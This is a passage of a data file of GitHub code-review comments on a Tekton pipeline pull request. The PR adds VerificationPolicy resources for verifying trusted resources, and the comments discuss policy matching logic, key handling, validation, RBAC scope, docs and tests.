https://github.com/tektoncd/pipeline/pull/3905 - you can see that the readability (and writability even XD) of a lot of the instances of TaskRuns etc. was really improved (imo anyway) by being able to use the yaml directly vs the objects", "comment_id": 1023337745, "created_at": "2022-11-15T22:56:42Z", "line": null, "path": "test/trusted_resources_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes you're right! The current configmap is a simple solution to fetch keys. We should consider to remove it and only use `VerificationPolicy` once we finish the needed features of `VerificationPolicy` \r\n\r\nI will update the refer link as well. ", "comment_id": 1023342145, "created_at": "2022-11-15T23:03:38Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! will do!", "comment_id": 1023342639, "created_at": "2022-11-15T23:04:23Z", "line": 97, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will update all the api related part and document how we use these policies, patterns, authorities in docs", "comment_id": 1023345142, "created_at": "2022-11-15T23:08:42Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, regex. will update the doc ", "comment_id": 1023345477, "created_at": "2022-11-15T23:09:16Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh I will update this as well in the doc", "comment_id": 1023345662, "created_at": "2022-11-15T23:09:32Z", "line": null, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sorry I don't know how to answer this. \ud83d\ude02 I just copy how we define other crds. What's the difference here?", "comment_id": 1023506445, "created_at": "2022-11-16T05:02:27Z", "line": 33, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have updated the api, and verify logic to make it similar to policy-controller.\r\nTo summarize:\r\n\r\n1. We first fetch all VerificationPolices, then loop each policy to see if 1 of the patterns could match the resource's source. If so adds the Policy to `matchedPolicies`. If no VerificationPolices is found in the namespace we will try to fetch keys from configmap. If no matchedPolicies we will fail the verification.\r\n2. For all matchedPolicies we need to make sure the resource can pass all of them. To pass one policy the resource has to pass at least 1 authority. \r\n", "comment_id": 1023507901, "created_at": "2022-11-16T05:05:52Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "So for policies level we will have a \"AND\" logic, and for authorities level we will have \"OR\" logic. This is the same as sigstore's logic. \r\nhttps://docs.sigstore.dev/policy-controller/overview#admission-of-images", "comment_id": 1023508834, "created_at": "2022-11-16T05:08:03Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Fixed", "comment_id": 1023509567, "created_at": "2022-11-16T05:09:48Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have removed this tranformation, and will reflect this in docs", "comment_id": 1023510076, "created_at": "2022-11-16T05:10:59Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "thx!", "comment_id": 1023510685, "created_at": "2022-11-16T05:12:17Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure, I merged these two code into 1 function now", "comment_id": 1023513508, "created_at": "2022-11-16T05:18:15Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added in the comment and docs. plz let me know if that is ok", "comment_id": 1024236213, "created_at": "2022-11-16T16:30:58Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have updated the docs, plz let me know if I should include more in the docs. Thanks!", "comment_id": 1024259184, "created_at": "2022-11-16T16:50:16Z", "line": 97, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I added how we use configsource and patterns in the doc, and also update the function docs. \r\n", "comment_id": 1024263784, "created_at": "2022-11-16T16:54:26Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Details here! https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#specifying-a-structural-schema\r\n\r\n(policy-controller example - https://github.com/sigstore/policy-controller/blob/main/config/300-clusterimagepolicy.yaml)\r\n\r\ntl;dr you can just define the validation schema directly here with openapi and the k8s api can handle basic validation for you + other tools can hook into it for completion, instead of us needing to implement a bunch of it ourselves in the admission webhook.\r\n\r\nFor simple types like this it might be worth doing instead of preserving everything.", "comment_id": 1025683580, "created_at": "2022-11-17T20:28:43Z", "line": 33, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "I think this check assumes that verifiers are 1:1 with matchedPolicies. Could we have situations where matchedPolicy[0] has 2 successful verifiers but matchPolicy[1] has none?\r\n\r\n(not sure what the expected behavior is - but either way I don't think this logic is quite representing what we want)", "comment_id": 1025725034, "created_at": "2022-11-17T21:01:48Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "How are these verifiers different from the verifiers checked above? Should these be combined?", "comment_id": 1025733477, "created_at": "2022-11-17T21:07:31Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "It'd be great to add a comment explaining what this is doing, especially since we're mutating local state.\r\n\r\n(this is part of the reason why policy-controller caches data in a config map - it's dumping it to a separate location so that the original struct isn't modified).", "comment_id": 1025738117, "created_at": "2022-11-17T21:13:19Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "alternatively you could just store this data in a separate cache.", "comment_id": 1025738782, "created_at": "2022-11-17T21:14:17Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "` Could we have situations where matchedPolicy[0] has 2 successful verifiers but matchPolicy[1] has none?`\r\nThis is not allowed, so when looping over the keys, if one key passes we will break the loop. I added a test where 1 policy has 1 working key, the other policy has 2 working keys to make sure the behaviour is what we want", "comment_id": 1025783897, "created_at": "2022-11-17T22:10:56Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "verifiers shouldn't be not 1:1 with matchedPolicies. \r\nThe current logic is:\r\n```\r\nfor p in matchedpolicy{\r\n for key in p{\r\n if key works{\r\n verified++\r\n break\r\n }\r\n }\r\n}\r\n```\r\nso multiple valid keys in one policy won't be counted \r\n\r\n", "comment_id": 1025786483, "created_at": "2022-11-17T22:14:47Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Those are from configmap which we introduced before. @bobcatfish suggested we removed the configmap way. I think it makes sense if we consider to remove it?\r\nSince the current verificationpolicy has better user experience and more features support. \r\n", "comment_id": 1025787895, "created_at": "2022-11-17T22:16:52Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this is a great point!\r\nHow about we removing this in this PR? I think policy-controller's internal conversion is a good way. Maybe that would be something we can follow/consider in future PRs", "comment_id": 1025791402, "created_at": "2022-11-17T22:19:25Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That sounds good! I will take a look ", "comment_id": 1025795325, "created_at": "2022-11-17T22:21:56Z", "line": 33, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Is this something we can generate automatically or we need to define manually? It seems very easy to make errors if it is manually maintained", "comment_id": 1028408519, "created_at": "2022-11-21T18:45:01Z", "line": 33, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Since this is an exported function, we might want a test for this explicitly as well. I think you test it via Validation of verification policy.", "comment_id": 1028461721, "created_at": "2022-11-21T19:53:49Z", "line": 43, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "I think you are running the same logic likes 333 -> 343 and 190 -> 200 multiple times. Might make sense to wrap it into a function instead of duplicating logic?", "comment_id": 1028468525, "created_at": "2022-11-21T20:02:16Z", "line": 325, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes we test it from `func (v *VerificationPolicy) Validate(ctx context.Context)`, it should cover this func and we don't need to test again?", "comment_id": 1028516329, "created_at": "2022-11-21T21:08:27Z", "line": 43, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! Thanks!", "comment_id": 1028520650, "created_at": "2022-11-21T21:14:40Z", "line": 325, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "nit: Add another policy to this example to explain point 3 above.", "comment_id": 1028546655, "created_at": "2022-11-21T21:50:35Z", "line": 112, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Should'nt Data be one key i.e. string and not []string?", "comment_id": 1028560674, "created_at": "2022-11-21T22:10:45Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "With the current KeyRef struct, multiple keys could be added for a KeyRef struct. I presume that one and only one key (amongst SecretRef, KMS and Data) should be set.\r\nIf the above assumption is correct then.\r\n1. We should validate this in verificationpolicy_validate.go\r\n2. We could try something like this https://gist.github.com/tkrajina/aec8d1b15b088c20f0df4afcd5f0c511 if possible.", "comment_id": 1028585334, "created_at": "2022-11-21T22:49:14Z", "line": 89, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Should we be handling KMS also here?", "comment_id": 1028718821, "created_at": "2022-11-22T02:08:19Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "nit: Might be useful to pass back even the authority name along with the actual verifiers, so that we can log (or even generate provenance) on what authority and pattern were used to verify this resource.", "comment_id": 1028741568, "created_at": "2022-11-22T02:36:22Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "If this function actually needs to be exported then I think so since something else could also call it later. But if this function is only expected to be called by `VerificationPolicy`'s `Validate` function then how about not exporting it?That way, it won't require tests either. ", "comment_id": 1028742828, "created_at": "2022-11-22T02:39:14Z", "line": 43, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "Could you add tests with len(verificationPolicies) > 0.", "comment_id": 1028776592, "created_at": "2022-11-22T02:51:30Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes this is a great question! It depends on whether we allow multiple keys in `SecretRef`. If it is allowed then we need to have a list of data to store keys. In the current PR we don't enforce to have 1 key in `KeyRef`. But it may be more intuitive to users to only have one key in `KeyRef`.\r\n\r\npolicy-controller enforces this, so we can also follow the same strategy", "comment_id": 1029555504, "created_at": "2022-11-22T16:23:08Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, I was thinking to support multiple keys in one keyref, but I think you're right we shouldn't do this. ", "comment_id": 1029562172, "created_at": "2022-11-22T16:28:17Z", "line": 89, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "KMS is not supported in this PR, I plan to pull it in next PR.\r\n", "comment_id": 1029563781, "created_at": "2022-11-22T16:29:10Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "If multiple keys and key types (i.e. data, secretRef and kms) are supported in the same keyRef then line 233 in verify.go which is \r\n} else if a.Key.SecretRef != nil {\r\n\r\nshould not have an \"else\".", "comment_id": 1029589862, "created_at": "2022-11-22T16:44:23Z", "line": 89, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "jagathprakash", "body": "nit: It would be great if you could also could you document this behavior with a test.", "comment_id": 1029592306, "created_at": "2022-11-22T16:46:35Z", "line": 89, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "JeromeJu", "body": "The verify logics LGTM. Couldn't find a better way in the current context for doing this.", "comment_id": 1029610318, "created_at": "2022-11-22T17:02:20Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "discussed offline, we will support only 1 key type (keyref, data and future kms), and only 1 key in keyref.\r\nWill update the PR and tep to reflect this\r\n", "comment_id": 1029732420, "created_at": "2022-11-22T19:15:17Z", "line": 89, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh I got your point. I think `Spec.Validate` is usually exported, it is also the same for others resources in tekton. \r\ne.g. https://github.com/tektoncd/pipeline/blob/c3c07aa358b67a0982e0d3fd391d9cbb7ac31f05/pkg/apis/pipeline/v1alpha1/run_validation.go#L48", "comment_id": 1029834675, "created_at": "2022-11-22T21:26:51Z", "line": 43, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "though we don't have to test it directly", "comment_id": 1029834952, "created_at": "2022-11-22T21:27:14Z", "line": 43, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sg, mark a todo for this!", "comment_id": 1029855351, "created_at": "2022-11-22T21:52:33Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! added one more and some explanation ", "comment_id": 1029858978, "created_at": "2022-11-22T21:58:08Z", "line": 112, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Possibly https://book.kubebuilder.io/reference/generating-crd.html#generating-crds?\r\n\r\nIf it's not straight forward don't worry about it - I think it would be nice to have long term but isn't necessary as a first step.", "comment_id": 1029874874, "created_at": "2022-11-22T22:22:45Z", "line": 33, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Remove or move to a t.Log", "comment_id": 1029878590, "created_at": "2022-11-22T22:28:56Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "I'm not sure if we want to tie schema validation to feature flags - we've had issues with flags blocking alpha fields in CRDs that can cause the controller to reject existing objects on update. If you want to keep this consider making this a non-blocking warning with https://pkg.go.dev/knative.dev/pkg/apis#FieldError.At\r\n\r\nI also think that ResourceVerificationMode will likely become the default verification mode, since we'll need a mechanism to let users try out new policies in warn mode while existing policies continue to enforce.", "comment_id": 1029882713, "created_at": "2022-11-22T22:36:18Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "I'm still not a huge fan of plumbing the verification policies all the way through. \ud83d\ude15\r\n\r\nAs a compromise - how about creating a new func provider that wraps the existing `resources.GetPipelineFunc`? e.g.\r\n\r\n```go\r\nfunc GetVerifiedPipelineFunc(ctx context.Context, k8s kubernetes.Interface, tekton clientset.Interface, requester remoteresource.Requester, pipelineRun *v1beta1.PipelineRun, verificationpolicies []*v1alpha1.VerificationPolicy) (rprp.GetPipeline, error) {\r\n\tget, err := resources.GetPipelineFunc(ctx, c.KubeClientSet, c.PipelineClientSet, c.resolutionRequester, pr)\r\n\tif err != nil {\r\n\t\t...\r\n\t}\r\n\treturn rprp.GetPipeline {\r\n\t\tp, src, err := get(...)\r\n\t\tif err != nil {\r\n\t\t\t...\r\n\t\t}\r\n\t\tif err := VerifyPipeline(..., src, policies); err != nil {\r\n\t\t\treturn nil, nil, err\r\n\t\t}\r\n\t\treturn p, nil\r\n\t}, nil\r\n}\r\n```\r\n\r\nThis way fetching is still separate from verification, we don't need to plumb the policies all the way through, and we can easily refactor this into an interface later.", "comment_id": 1029902640, "created_at": "2022-11-22T23:14:10Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "wlynch", "body": "Does the controller need write access to the policies (outside of status), or can we scope this down to just read-only?", "comment_id": 1029911368, "created_at": "2022-11-22T23:32:26Z", "line": null, "path": "config/200-clusterrole.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think it should be just read-only, removed the write access", "comment_id": 1030043168, "created_at": "2022-11-23T05:55:17Z", "line": null, "path": "config/200-clusterrole.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ok we can remove this check", "comment_id": 1030043593, "created_at": "2022-11-23T05:56:19Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "removed, thanks! ", "comment_id": 1030044744, "created_at": "2022-11-23T05:58:45Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it should be tested in the latest commit", "comment_id": 1030603841, "created_at": "2022-11-23T15:46:32Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I have refactored this part, thanks a lot! The only diff is that I cannot use rprp.GetPipeline as a return directly. It's getting syntax error", "comment_id": 1030720031, "created_at": "2022-11-23T17:30:31Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is removed in current PR, I think configmap conversion would be a good way to consider", "comment_id": 1035150979, "created_at": "2022-11-29T18:48:41Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I wouldn't refer to the TEPs at all in the user facing docs; users should be able to understand the features using the docs and not need to look at the TEPs at all imo. The commit message and pull request can be a good place to refer to the TEP so the linkage is still available.", "comment_id": 1036542403, "created_at": "2022-11-30T23:15:30Z", "line": null, "path": "docs/install.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I appreciate that the TODO is referring to an issue, however the issue #5527 seems to be encapsulating an awful lot and I think there's a good chance the TODOs could get lost in the mix (and the details will be lost with time). I suggest that either you create separate issues to track each TODO or make the change in this PR.\r\n\r\ncan you explain a bit more about the change you'd make and why it doesn't make sense to make in this PR? (is this related to the convo with @wlynch at https://github.com/tektoncd/pipeline/pull/5714#discussion_r1023287564 ?)\r\n", "comment_id": 1036547110, "created_at": "2022-11-30T23:24:55Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "#5527 doesn't seem to say anything about an internal pkg, does it make sense to open a separate issue about it?", "comment_id": 1036547766, "created_at": "2022-11-30T23:26:12Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "comments that just repeat the name of the function don't really add much value, it'd be better to add detail about what the function is doing (e.g. what the purpose is any arguments, what it returns)\r\n\r\nmore on this at https://go.dev/doc/comment\r\n\r\nin particular for this function, im interested in things like:\r\n- why it returns a k8s client set and what that clientset is for\r\n- what kind of verification policies it sets up", "comment_id": 1036548954, "created_at": "2022-11-30T23:28:39Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "in general when handling errors it is useful to add context such as 'could not generate key ... ' vs just passing the error along without context (more on this in our standards at https://github.com/tektoncd/community/blob/main/standards.md#code)", "comment_id": 1036550396, "created_at": "2022-11-30T23:31:30Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! I will remove the link in docs", "comment_id": 1036553133, "created_at": "2022-11-30T23:37:15Z", "line": null, "path": "docs/install.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh thanks! This is actually done and I should remove the todo.", "comment_id": 1036553654, "created_at": "2022-11-30T23:38:23Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yeah sure!", "comment_id": 1036553769, "created_at": "2022-11-30T23:38:38Z", "line": null, "path": "test/trustedresources.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "do verification policies need a status? i assume we're never updating them, can we remove this or is it required to support metadata.generation? (what _is_ metadata.generation?)", "comment_id": 1038623887, "created_at": "2022-12-02T23:31:11Z", "line": null, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "docstrings like this could probably use a bit more detail, for example what is being verified. instead of commenting on each docstring I'll observe there seems to be a general pattern around the docstrings in this file (and maybe others) of not providing any extra info in the docstring beyond what the code says for the type themselves - the fields themselves seem to have much better docstrings", "comment_id": 1038624603, "created_at": "2022-12-02T23:33:19Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "I'm not sure we have a hard line length requirement but this seems pretty long", "comment_id": 1038624725, "created_at": "2022-12-02T23:33:42Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "does it make sense to validate the Resource field as well? e.g. what if the patterns are blank or invalid?", "comment_id": 1038626081, "created_at": "2022-12-02T23:38:07Z", "line": 45, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": " is hashAlgorithm required, or does it have a default?", "comment_id": 1038626539, "created_at": "2022-12-02T23:39:32Z", "line": 73, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "can we include at least one test for the case where the verification policy is valid?", "comment_id": 1038626785, "created_at": "2022-12-02T23:40:12Z", "line": 206, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "it is easier to understand test failures if you add a bit of context e.g. https://github.com/tektoncd/pipeline/blob/7de70f1c095a12c10e81932ab3b0e2268dd80ec5/pkg/apis/resource/v1alpha1/storage/gcs_test.go#L206", "comment_id": 1038627875, "created_at": "2022-12-02T23:43:50Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "hashAlgorithm is handled in `hashAlgorithm()` later. So it is not required here.", "comment_id": 1039158732, "created_at": "2022-12-05T05:36:55Z", "line": 73, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes! sorry I missed the valid case", "comment_id": 1039159344, "created_at": "2022-12-05T05:38:32Z", "line": 206, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "sure! I will update all other places as well", "comment_id": 1039161436, "created_at": "2022-12-05T05:43:25Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes that makes sense, we can validate it by compiling the pattern", "comment_id": 1039161788, "created_at": "2022-12-05T05:44:11Z", "line": 45, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I'm not sure. I tried to remove it and I cannot see any issues with it.\r\nThis is the doc of [subresources](https://kubernetes.io/docs/tasks/extend-kubernetes/custom-resources/custom-resource-definitions/#subresources), I think it is ok to remove it. \r\nThis file is copied from other crd config in our `config` folder.", "comment_id": 1039837065, "created_at": "2022-12-05T16:45:22Z", "line": null, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! This is weird... I have fixed this", "comment_id": 1039851231, "created_at": "2022-12-05T16:58:22Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Are you saying we should provide more details of docstrings in `type`, not relying on fields to explain them?", "comment_id": 1039853752, "created_at": "2022-12-05T17:00:42Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_types.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "That's a good point! Thanks for the suggestion! I think we can call regexp.Compile to validate it", "comment_id": 1039883930, "created_at": "2022-12-05T17:28:38Z", "line": 45, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "removed it latest commit", "comment_id": 1039915226, "created_at": "2022-12-05T18:03:01Z", "line": null, "path": "config/300-verificationpolicy.yaml", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added latest commit", "comment_id": 1039915469, "created_at": "2022-12-05T18:03:16Z", "line": 45, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "added latest commit", "comment_id": 1039915677, "created_at": "2022-12-05T18:03:29Z", "line": 206, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation_test.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Thanks for mentioning the deprecation here - I suggest that you add the config map to https://github.com/tektoncd/pipeline/blob/main/docs/deprecations.md and also make an issue to track removing the deprecated feature, which you could link to here and/or in deprecations.md", "comment_id": 1041392979, "created_at": "2022-12-06T19:50:32Z", "line": 69, "path": "docs/trusted-resources.md", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "thanks @Yongxuanzhang - is there a test case down below for an invalid pattern? it seems like the line has coverage but im not seeing a test case for it \ud83e\udd14 ", "comment_id": 1041397068, "created_at": "2022-12-06T19:55:14Z", "line": 45, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "Can you explain a bit more - is `hashAlgorithm()` called as part of the validation here? it seems like it might not be called until the verification policy is actually being used, is that right? if so it would be better to give a signal as early as possible (during verification) if anything is invalid", "comment_id": 1041398284, "created_at": "2022-12-06T19:56:44Z", "line": 73, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bobcatfish", "body": "general comment about comments - only include a comment if it adds something you wouldn't know just from reading the code below it. in this case it does mention \"trusted resources\" which is new information but I'm not sure it makes the line much more clear \r\n\r\nthe book \"clean code\" is a great resource on code clarity in general - https://gist.github.com/wojteklu/73c6914cc446146b8b533c0988cf8d29#comments-rules has a summary of some thoughts around comments", "comment_id": 1041401211, "created_at": "2022-12-06T20:00:07Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "1) This swallows the error from regexp.Compile, which likely contains useful details about the compilation issue.\r\n\r\n2) Is there a reason that we return only this error rather than appending this error via `errs.Also()` and returning that?", "comment_id": 1041427336, "created_at": "2022-12-06T20:29:44Z", "line": null, "path": "pkg/apis/pipeline/v1alpha1/verificationpolicy_validation.go", "pr_number": 5714, "repo": "pipeline"} +{"author": "bendory", "body": "Line 125 below compares the error values, and that means that if the string changes in one place it has to change in the other; that's fragile.\r\n\r\nSuggest instead that you define a package-level invalidRegexErr which is returned and provided here as the want value.\r\n\r\n(this is a Go best practice for this sort of situation and test case)\r\n", "comment_id": 1041429917, "created_at": "2022-12-06T20:33:07Z", "line": null, "path": 